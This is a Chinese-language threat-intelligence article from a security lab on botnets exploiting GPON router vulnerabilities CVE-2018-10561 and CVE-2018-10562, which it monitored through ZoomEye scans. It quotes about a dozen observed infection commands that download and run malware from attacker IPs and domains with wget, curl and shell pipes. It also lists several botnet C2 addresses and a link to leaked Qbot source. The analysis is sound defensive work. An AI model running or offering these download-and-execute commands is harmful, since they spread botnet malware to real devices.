RSS Feed
更好更安全的互联网

GPON Home Gateway 远程命令执行漏洞被利用情况

2018-08-28

作者:知道创宇404实验室
日期:2018/05/10

2018/05/07,ZoomEye Dork(文末有彩蛋)中heige吟诗一首(作者:卞之琳):
断章
你在桥上看风景,
看风景人在楼上看你。
明月装饰了你的窗子,
你装饰了别人的梦。
殊不知在GPON Home Gateway远程命令执行漏洞被利用的过程中亦是如此。

0x00前言

一. 漏洞详情

2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。由于只需要发送一个请求,就可以在 GPON路由器 上执行任意命令,所以在上一篇文章《GPON Home Gateway 远程命令执行漏洞分析》,我们给出了僵尸网络的相关预警。

结合ZoomEye网络空间搜索引擎以及对漏洞原理的详细研究,我们对GPON Home Gateway远程命令执行漏洞被利用情况进行了深入的研究,意外地发现利用该漏洞的僵尸网络是可以被监控的。

短短的四天时间内,这片路由器的战场,竞争、撤退、消亡时时刻刻都在上演,在每一个路由器的背后,每天都有着多个不同的恶意控制者,故事精彩得难以想象。

二. 检测原理

漏洞发现者给出的利用脚本如下:

该脚本逻辑如下:

步骤1(行5):将注入的命令发送至/GponForm/diag_Form并被执行。

步骤2(行9):利用绕过漏洞访问diag.html页面获取命令执行的结果。

关键点在第二步:

当我们不使用grep diag_result去过滤返回的结果,将会发现部分路由器会将diag_host也一并返回。而参数diag_host就是步骤1中注入的命令。

这就意味着,通过ZoomEye网络空间搜索引擎,我们可以监控互联网上相关路由器的diag.html页面,从而了解僵尸网络的活动情况。

 

0x01 被利用情况

ZoomEye网络空间搜索引擎在2018/05/052018/05/072018/05/08进行了三次探测,一共发现了与僵尸网络相关的命令 12处。

一. 被利用情况总览

二. 详细介绍

1. Mirai变种僵尸网络 THANOS

这是一个在我们研究前撤退、研究时重新归来的僵尸网络
使用的感染命令如下:
编号1 busybox wget http://104.243.44.250/mips -O /tmp/m
编号10 busybox wget http://82.202.166.101/mips -O -

1.1 104.243.44.250 样本

在我们发现相关攻击痕迹时,样本已无法下载。看起来就像始作俑者已经撤退。

但是我们仍然从路由器上运行的样本中了解到该僵尸网络的行为:

  • 当前进程

  • 网络连接情况

  • CNC
    82.202.166.101:45,2018/05/05未连接成功(2018/05/09发现该CNC重新打开)

由于该恶意样本拥有生成随机进程名、对外爆破23端口等特征,故可能是Mirai僵尸网络或其变种。

1.2 82.202.166.101 样本

2018/05/07,我们发现了少量该样本的感染痕迹,通过进一步研究,我们认为该僵尸网络已经回归。 由于该样本直接在 1.1 中的 CNC 主机上传播,运行时依旧会生成随机进程名,对外爆破23端口,故我们将两者归为同一僵尸网络家族。

  • 新的CNC
    185.232.65.169:8080

新的 CNC 上线包如下

根据这个上线包,我们将该僵尸网络称为 Mirai变种僵尸网络 THANOS

2. Q bot僵尸网络变种

这是一个持续存在的僵尸网络,在我们三次探测中均有出现。预计感染了大量设备。
使用的感染命令如下:
编号2 busybox wget http://185.244.25.162/mips -O /tmp/.m
编号7 busybox wget http://58.215.144.205/mips -O /tmp/.q
编号12 busybox wget http://58.215.144.205/mips -O /tmp/adj

2.1 185.244.25.162 样本

该恶意样本属于 MIPS 架构,使用 UPX 加壳。在脱壳对其进行逆向的过程中,我们意外发现了与该样本相关的源码:https://darknetleaks.xyz/archive/botnetfiles/Qbot%20Sources/Hacker%20serverside&clientside/client.c

但该样本和源码依然有很多地方不同:

  • 对外扫描的IP段不同,样本中对外扫描的IP段如下:

该样本在对外扫描时,只会扫描表格中的这些IP

  • kill别的bot的列表

该样本会检测路由器中已有的进程,如果遇到下列可能属于其它僵尸网络的进程,将会进行 kill 操作(匹配的关键词远比源码中的丰富)

该样本的 CNC 为: 185.33.145.92:252,该 CNC 依旧处于活跃状态

需要注意的是

利用脚本如下:

2.2 58.215.144.205 样本(2018/05/07 版本)

该样本的感染逻辑没有太大变化, CNC 与上文相同,为: 185.33.145.92:252,所以我们认为这与上文同属于 Q bot僵尸网络家族的变种。

2.3 58.215.144.205 样本(2018/05/08 版本)

2018/05/0858.215.144.205/mips更新了相关的样本。通过逆向的结果看,新的样本与之前的逻辑完全不同,恶意控制者更换了控制的程序。

新的样本看起来更像是 Mirai 僵尸网络的新变种,具体的感染细节我们仍在持续跟进中。

该样本的CNC为 linuxusaarm.com:443

3. Muhstik 僵尸网络

2018/04/20,360netlab曝光了一个长期存在的僵尸网络:Muhstik僵尸网络。在本次漏洞事件中,我们也发现了大量 Muhstik僵尸网络的身影。
该僵尸网络使用的感染命令如下:
编号3 wget -qO - http://162.243.211.204/gpon|sh
编号4 wget -qO - http://162.243.211.204/aio|sh
编号5 wget -O /tmp/par http://162.243.211.204/mrt; chmod x /tmp/ping
编号8 wget -qO - http://54.39.23.28/1sh | sh
编号9 wget -qO - http://104.54.236.173/gpon | sh

由于该僵尸网络样本众多,多条命令有多次重复感染。故我们通过下图展示各样本和各IP的联系:

图中红点代表各IP,灰点代表感染的bash脚本,黄点代表各恶意样本,蓝点代表出现的链接,红线代表从bash脚本中下载的样本

  • 各感染脚本如下:
  • 各样本sha256值如下:
  • CNC
    192.99.71.250:9090

4. 未知样本1

该样本使用的感染命令如下:
编号6 curl -fsSL http://ztccds.freesfocss.com/test.txt | sh

该样本会连接 ztccds.freesfocss.com:23364,样本具体功能仍在研究中。

5. 未知样本2

该样本使用的感染命令如下:
编号11 busybox wget http://185.246.152.173/omni -O /tmp/talk
该样本运行的命令为 /tmp/talk gpon

该样本会连接185.246.152.173:1000,但该端口已经关闭(2018/05/09)。

 

0x02 受影响主机范围

注:由于仅探测了diag.html页面,故在多轮探测中我们只能确定哪些主机被攻击,无法判断攻击者是否攻击成功

一. 探测到的主机均集中在墨西哥

在对探测到的主机进行地域划分时,三轮探测中被攻击的IP都位于墨西哥。
对受影响最多的五个国家进行抽样测试,结果如下:

该漏洞存在与墨西哥和哈萨克斯坦,但是由于固件不同,只有墨西哥的路由器会返回diag_host,所以我们仅监测到墨西哥的路由器受影响情况。

由于墨西哥的设备占据了全球设备的一半以上,我们认为相关数据依旧可以反应僵尸网络的实际情况。

二. 受攻击的路由器执行的命令情况

由于2018/05/05第一轮探测中只统计了存在/tmp字段的diag_host的内容,所以第一轮探测的数据具有一定的局限性。

可以很明显看出:

  1. 确认被攻击的路由器数量在不断增加
  2. 各僵尸网络活动频繁,2018/05/07 Muhstik 僵尸网络发动大量攻击,而2018/05/08就变成了 Q bot僵尸网络变种。僵尸网络之间的竞争可见一斑。

 

0x03 结语

近年来,僵尸网络逐渐盯上攻击简单但危害巨大的物联网漏洞。从去年的GoAhead到今年的GPON事件,无不在提醒我们物联网安全的重要性。能结合ZoomEye网络空间搜索引擎了解到GPON事件背后活跃的僵尸网络动态,对我们来说就是一种收获。

 

附录

关于ZoomEye Dork,欢迎加入小密圈(免费):

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/595/

 

作者:Elfinx | Categories:安全研究漏洞通告 | Tags:

发表评论